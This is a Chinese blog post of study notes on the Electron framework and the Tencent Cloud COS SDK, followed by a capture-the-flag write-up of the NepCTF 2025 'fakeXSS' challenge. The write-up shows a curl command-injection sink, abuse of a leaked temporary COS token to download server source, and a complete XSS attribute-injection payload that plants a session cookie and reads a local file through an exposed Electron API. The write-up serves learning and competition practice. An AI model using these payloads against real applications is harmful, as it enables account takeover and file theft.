Electron框架&腾讯云COS
Electron框架&腾讯云COS
这两个也没什么必然的联系,就是NepCTF中的fakeXSS用了这两个,就干脆放在一起来学习一下
Electron框架
入门Electron,手把手教你编写完整实用案例想学习Electron,又门槛太高?这篇文章帮你从原理到操作入门Elec - 掘金
概念
Electron是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架,使用Electron开发的桌面应用,类似于简易版的、定制版的Chrome浏览器
简单来说,一个WebPage,如果是用Electron开发的,那么连上方的输入网址框、跳转页面按钮开发者都是能控制得,而在Web应用中做不到(见下图)
和浏览器架构类似,Electron应用程序区分主进程和渲染进程
主进程负责控制应用程序的生命周期、创建和管理应用程序窗口,有着多种控制原生桌面功能的模块,例如菜单、对话框以及托盘图标
渲染进程负责完成渲染界面、接收用户输入、响应用户的交互等工作
一个Electron应用只有一个主进程,但可以有多个渲染进程
开启第一个项目
初始化&安装
在文件夹中执行
1 | npm init |
其中npm init
里输入项目名字然后一路回车,最后回答Yes即可
创建应用程序
在根目录创建index.js
,因为Electron框架是基于Node.js,所以作为入口文件的index.js使用Node.js语法
1 | //导入 app和 BrowserWindow 模块 |
mainWindow.loadFile('./src/main.html')
加载本地的HTML文件
所以我们第二步在根目录下创建src文件夹,再在里面创建main.html
1 |
|
最后再更改package.json里的script
1 | "scripts": { |
nodemon --watch index.js --exec electron .
保证当index.js的内容发生变化时,就自动重新执行electron .
来重启应用
结束上述操作之后,根目录npm run start
如何动态调试?
View
–> Toggle Developer Tools
就能看到正常网页中按F12看到的效果了~
当你的代码内容发生变化时,直接Reload就能刷新页面
Coding
以下是项目的基本结构
1 | //app用于控制应用程序的生命周期,BrowserWindow用于创建和管理浏览器窗口,Tray用于创建系统托盘,Menu用于创建菜单 |
IPC通信
**IPC(Inter-Process Communication)**,就是进程间通信,上文说到,Electron程序分为主进程和渲染进程,那么两者之间就需要通信
( send 发送然后另一边 on 接受)
主进程 ipcMain.on <——————————– ——ipcRenderer.send 渲染进程
主进程 renderWindow.webContents.send ———> ipcRenderer.on 渲染进程
渲染进程 To 主进程
渲染进程使用Electron内置的ipcRenderer模块向主进程发送消息
1 | const electron = require('electron') |
主进程通过 ipcMain
接收消息
1 | //index.js |
主进程 To 渲染进程
主进程向渲染进程发送消息是通过渲染进程的webContents
1 | function createRemindWindow(task) { |
在remindWindow
渲染进程中,通过ipcRenderer.on
接受消息
1 | ipcRenderer.on('set', (event,task) => { |
渲染进程 To 渲染进程
想要从窗口A直接发消息到窗口B,需要A知道B的webContentsId
1 | ipcRenderer.sendTo(webContentsId, channel, ...args) |
如果想在渲染进程中访问Node.js API,需要创建窗口时配置webPreferences
的nodeIntegration: true
和contextIsolation: false
:
1 | mainWindow = new BrowserWindow({ |
腾讯云COS
下载
1 | pip install -U cos-python-sdk-v5 |
术语
名称 | 描述 |
---|---|
APPID | 开发者访问 COS 服务时拥有的用户维度唯一资源标识,用以标识资源 |
SecretId | 开发者拥有的项目身份识别 ID,用以身份认证 |
SecretKey | 开发者拥有的项目身份密钥 |
Bucket | COS 中用于存储数据的容器 |
Object | COS 中存储的具体文件,是存储的基本实体 |
Region | 域名中的地域信息 |
Endpoint | Endpoint 由 Region 和域名组成,具体格式为: “.”,其中 Domain 为自定义的域名。 在控制台创建 Bucket 时,可以看到对应的访问地址为:”.”,Bucket 后面的部分即为 Endpoint。 |
ACL | 访问控制列表(Access Control List),是指特定 Bucket 或 Object 的访问控制信息列表 |
CORS | 跨域资源共享(Cross-Origin Resource Sharing), 指发起请求的资源所在域不同于该请求所指向资源所在的域的 HTTP 请求 |
Multipart Uploads | 分块上传,COS 服务为上传文件提供的一种分块上传模式 |
配置
1 | from qcloud_cos import CosS3Client |
上传文件
1 | from qcloud_cos import CosConfig, CosS3Client |
下载文件
1 | # 下载文件 |
删除文件
1 | # 删除文件 |
NepCTF2025-fakeXSS
下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
最下面的,可以拼入URL,直接进行RCE,先放在一边
1 | const cmd = `curl -L "${url}"`; |
然后进去是个登陆界面,先注册登入看看,进去之后有个上传头像,分别抓包保存、刷新、上传,发现上传头像回显
Token
通过base64解码auth可发现这是腾讯云COS
1 | "{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:PutObject\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/dccedea5-1d8d-4b5f-9e09-84aacc6dd937.png\"],\"Condition\":{\"numeric_equal\":{\"cos:request-count\":5},\"numeric_less_than_equal\":{\"cos:content-length\":10485760}}},{\"effect\":\"allow\",\"action\":[\"cos:GetBucket\"],\"resource\":[\"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*\"]}]}" |
(这个Token如果提示你失效了就重新发送一遍获得新的token即可)
借用nepctf 2025 web wp - LamentXU - 博客园的脚本
1 | from qcloud_cos import CosConfig |
可以跑出一共有多少文件可以被下载
然后选择下载server_bak.js,这里的flag.txt是假的
然后你会发现报错,但是往上看运行信息的时候你能看到一串链接,访问即可下载
server_bak.js(就是最开始登入界面的源码)
1 | const express = require('express'); |
从这一段可以看出密码:(nepn3pctf-game2025)
1 | // 用户数据库 |
再看根目录:
1 | // 登录页面 |
发现可以直接拼接 fileurl
进去,再看他设置背景的逻辑:
1 | // 设置登录页面背景 |
简单验证是否上传成功,再下面有个bot:
1 | app.get('/api/bot', ensureAuthenticated, (req, res) => { |
告诉我们需要用admin的权限,且bot不会带上admin的身份,所以我们需要把admin的cookie传给bot,这样
下方可以下载客户端,下载后看图标可知是Electron框架,然后用WinASAR解压
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
后利用 window.electronAPI.curl
拿出 flag 内容并通过保存个人简介接口将 flag 写入到账号 admin 的简介中
Payload:
1 | {"key":"x\" onload=\"document.cookie='connect.sid=s%3AqIRfC1AVwefcNWF6E7RWSJmeKUy7GHEx.S7ggxMeEcMGSz2rFDxT07%2BZ7%2B52ZRWDKGxCY%2Bo6g4lE';window.electronAPI.curl('file:///flag').then(data=>{fetch('/api/save-bio',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""} |
然后GET访问/api/bot
再访问GET/api/user